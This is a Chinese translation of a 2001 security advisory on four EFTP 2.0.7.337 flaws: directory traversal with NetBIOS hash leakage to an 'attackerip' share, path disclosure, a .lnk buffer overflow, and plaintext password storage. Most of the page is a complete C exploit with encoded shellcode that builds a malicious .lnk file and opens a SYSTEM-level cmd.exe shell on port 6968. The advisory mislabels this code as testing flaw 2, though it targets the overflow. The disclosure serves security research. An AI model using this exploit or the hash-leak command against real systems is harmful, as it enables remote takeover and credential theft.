首页 -> 安全研究

安全研究

安全漏洞
EFTP 存在多个安全漏洞

发布日期:2001-09-12
更新日期:2001-09-14

受影响系统:

Khamil Landross & Zack Jones EFTP Build 2.0.7.337
   - Microsoft Windows 9x
   - Microsoft Windows Me
   - Microsoft Windows NT 4.0
   - Microsoft Windows 2000
   - Microsoft Windows XP
描述:

EFTP是Khamil Landross 和 Zack Jones开发的一套加密FTP传输产品。它可以使用高强度
的加密机制来在使用EFTP的客户端和服务器之间进行加密FTP传输。

它存在多个安全漏洞,可能导致运行EFTP的服务器被攻击者全面控制:

1. 目录遍历以及泄漏netbios口令哈希漏洞

攻击者可以通过LS命令来遍历目录,另外由于目录支持共享格式,因此通过提交
LS \\attackerip\blah的方式可以使EFTP主动向攻击者控制的主机发送口令哈希,攻击者
可以暴力进行破解。

例如:

USER SampleUser
PASS NothingSpectacular
LS ../*
LS c:/*
LS /c:/*.bat
LS a:/
LS \\attackerip\aaa

2. SIZE或MDTM命令泄漏路径

通过对不存在地文件使用SIZE或MDTM命令,可能获取当前所在物理路径,例如:

QUOTE SIZE ../notthere
550 Command failed: File not found.
QUOTE MDTM ../notthere
550 'c:\restricted\..\notthere':no such file or directory

3. 处理.lnk文件时存在远程缓冲区溢出漏洞

通过上传一个.lnk文件,内容包括如下格式:
("A" x 1744) . "CCCC"

当'A'的个数刚好为1744时,再执行LS命令时就会导致EIP被'CCCC'覆盖。攻击者可以在
EFTP服务器上执行任意命令。

4. 口令以纯文本方式保存

用户口令以明文方式保存在\Program Files\eftp2\eftp2users.dat中。攻击者一旦获取
了这个文件的内容,就可以得知其他用户的口令。

<*来源:ByteRage  (byterage@yahoo.com)
  链接:http://archives.neohapsis.com/archives/bugtraq/2001-09/0100.html
*>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


ByteRage  (byterage@yahoo.com)提供了对于漏洞2的测试代码:

/***************************************************************
* EFTP Version 2.0.7.337 remote exploit                       *
*                                                             *
* create spl0it.lnk                                           *
* upload the file using the EFTP client                       *
* (since I'm not planning to rewrite that blowfish crypto)    *
* then issue an LS command on the server                      *
*                                                             *
* impact: SYSTEM level access CMD.EXE shell on port 6968      *
*                                                             *
* [ByteRage] <byterage@yahoo.com> http://www.byterage.cjb.net *
***************************************************************/

#include <stdio.h>

#define FileName "spl0it.lnk"

/* You should set the following three consts according
* to the DLL you are basing the exploit upon, examples :
*********************************************
* DLL Name    : MSVCRT.DLL
* Version     : v6.00.8797.0000
* File Length : 278581 bytes
* newEIP =             "\x1C\xDF\x01\x78" (*)
* LoadLibraryRef       "\xD4\x10\x03\x78"
* GetProcAddressRefADD "\xFC"
*********************************************
* DLL Name    : MSVCRT.DLL
* Version     : v6.00.8397.0000
* File Length : 266293 bytes
* newEIP =             "\x55\xE4\x01\x78" (*)
* LoadLibraryRef       "\xD4\xE0\x02\x78"
* GetProcAddressRefADD "\xFC"
*********************************************
* (*) the new EIP must CALL/JMP/... either
*     EAX or EBX
*/
const char * newEIP =        "\x55\xE4\x01\x78";
#define LoadLibraryRef       "\xD4\xE0\x02\x78"
#define GetProcAddressRefADD "\xFC"

/* The following 452b shellcode
* spawns a cmd.exe shell on port 6968
* and is a personal rewrite of
* dark spyrit's original code
*/

/* ==== SHELLC0DE START ==== */

const char shellc0de[] =  

/* CODE: */
"\x8b\xf0\xac\x84\xc0\x75\xfb\x8b\xfe\x33\xc9\xb1\xc1\x4e\x80\x36"
"\x99\xe2\xfa\xbb"LoadLibraryRef"\x56\xff\x13\x95\xac\x84\xc0\x75"
"\xfb\x56\x55\xff\x53"GetProcAddressRefADD"\xab\xac\x84\xc0\x75\xfb\xac\x3c\x21\x74"
"\xe7\x72\x03\x4e\xeb\xeb\x33\xed\x55\x6a\x01\x6a\x02\xff\x57\xe8"
"\x93\x6a\x10\x56\x53\xff\x57\xec\x6a\x02\x53\xff\x57\xf0\x33\xc0"
"\x57\x50\xb0\x0c\xab\x58\xab\x40\xab\x5f\x55\x57\x56\xad\x56\xff"
"\x57\xc0\x55\x57\xad\x56\xad\x56\xff\x57\xc0\xb0\x44\x89\x07\x57"
"\xff\x57\xc4\x8b\x46\xf4\x89\x47\x3c\x89\x47\x40\xad\x89\x47\x38"
"\x33\xC0\x89\x47\x30\x66\xb8\x01\x01\x89\x47\x2c\x57\x57\x55\x55"
"\x55\x6a\x01\x55\x55\x56\x55\xff\x57\xc8\xff\x76\xf0\xff\x57\xcc"
"\xff\x76\xfc\xff\x57\xcc\x55\x55\x53\xff\x57\xf4\x93\x33\xc0\xb4"
"\x04\x50\x6a\x40\xff\x57\xd4\x96\x6a\x50\xff\x57\xe0\x8b\xcd\xb5"
"\x04\x55\x55\x57\x51\x56\xff\x77\xaf\xff\x57\xd0\x8b\x0f\xe3\x18"
"\x55\x57\x51\x56\xff\x77\xaf\xff\x57\xdc\x0b\xc0\x74\x21\x55\xff"
"\x37\x56\x53\xff\x57\xf8\xeb\xd0\x33\xc0\x50\xb4\x04\x50\x56\x53"
"\xff\x57\xfc\x55\x57\x50\x56\xff\x77\xb3\xff\x57\xd8\xeb\xb9\xff"
"\x57\xe4"

/* DATA: (XORed with 099) */
"\xd2\xdc\xcb\xd7\xdc\xd5\xaa\xab\x99\xda\xeb\xfc\xf8\xed\xfc\xc9"
"\xf0\xe9\xfc\x99\xde\xfc\xed\xca\xed\xf8\xeb\xed\xec\xe9\xd0\xf7"
"\xff\xf6\xd8\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xeb\xf6\xfa\xfc\xea"
"\xea\xd8\x99\xda\xf5\xf6\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc\x99\xc9"
"\xfc\xfc\xf2\xd7\xf8\xf4\xfc\xfd\xc9\xf0\xe9\xfc\x99\xde\xf5\xf6"
"\xfb\xf8\xf5\xd8\xf5\xf5\xf6\xfa\x99\xce\xeb\xf0\xed\xfc\xdf\xf0"
"\xf5\xfc\x99\xcb\xfc\xf8\xfd\xdf\xf0\xf5\xfc\x99\xca\xf5\xfc\xfc"
"\xe9\x99\xdc\xe1\xf0\xed\xc9\xeb\xf6\xfa\xfc\xea\xea\x99\xb8\xce"
"\xca\xd6\xda\xd2\xaa\xab\x99\xea\xf6\xfa\xf2\xfc\xed\x99\xfb\xf0"
"\xf7\xfd\x99\xf5\xf0\xea\xed\xfc\xf7\x99\xf8\xfa\xfa\xfc\xe9\xed"
"\x99\xea\xfc\xf7\xfd\x99\xeb\xfc\xfa\xef\x99\x99\x9b\x99\x82\xa1"
"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\xfa\xf4\xfd\x99"

"\x00";

/* ==== SHELLC0DE ENDS ==== */

;

int i;

FILE *file;

int main ()
{
  
  printf("EFTP Version 2.0.7.337 remote exploit by [ByteRage]\n");

  file = fopen(FileName, "w+b");
  if (!file) {
    printf("ERROR! Couldn't open "FileName" for output !\n");
    return 1;
  }
  
  for (i=0; i<1740; i++) { fwrite("\x90", 1, 1, file); }
  fwrite("\xEB\x06\x90\x90", 1, 4, file);  
  fwrite(newEIP, 1, 4, file);
  fwrite(shellc0de, 1, sizeof(shellc0de)-1, file);

  fclose(file);

  printf(FileName" created! (Shellcode length: %i bytes)\n", sizeof(shellc0de));
  return 0;

}


建议:

厂商补丁:

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本:
http://www.eftp.org/



浏览次数:4392
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障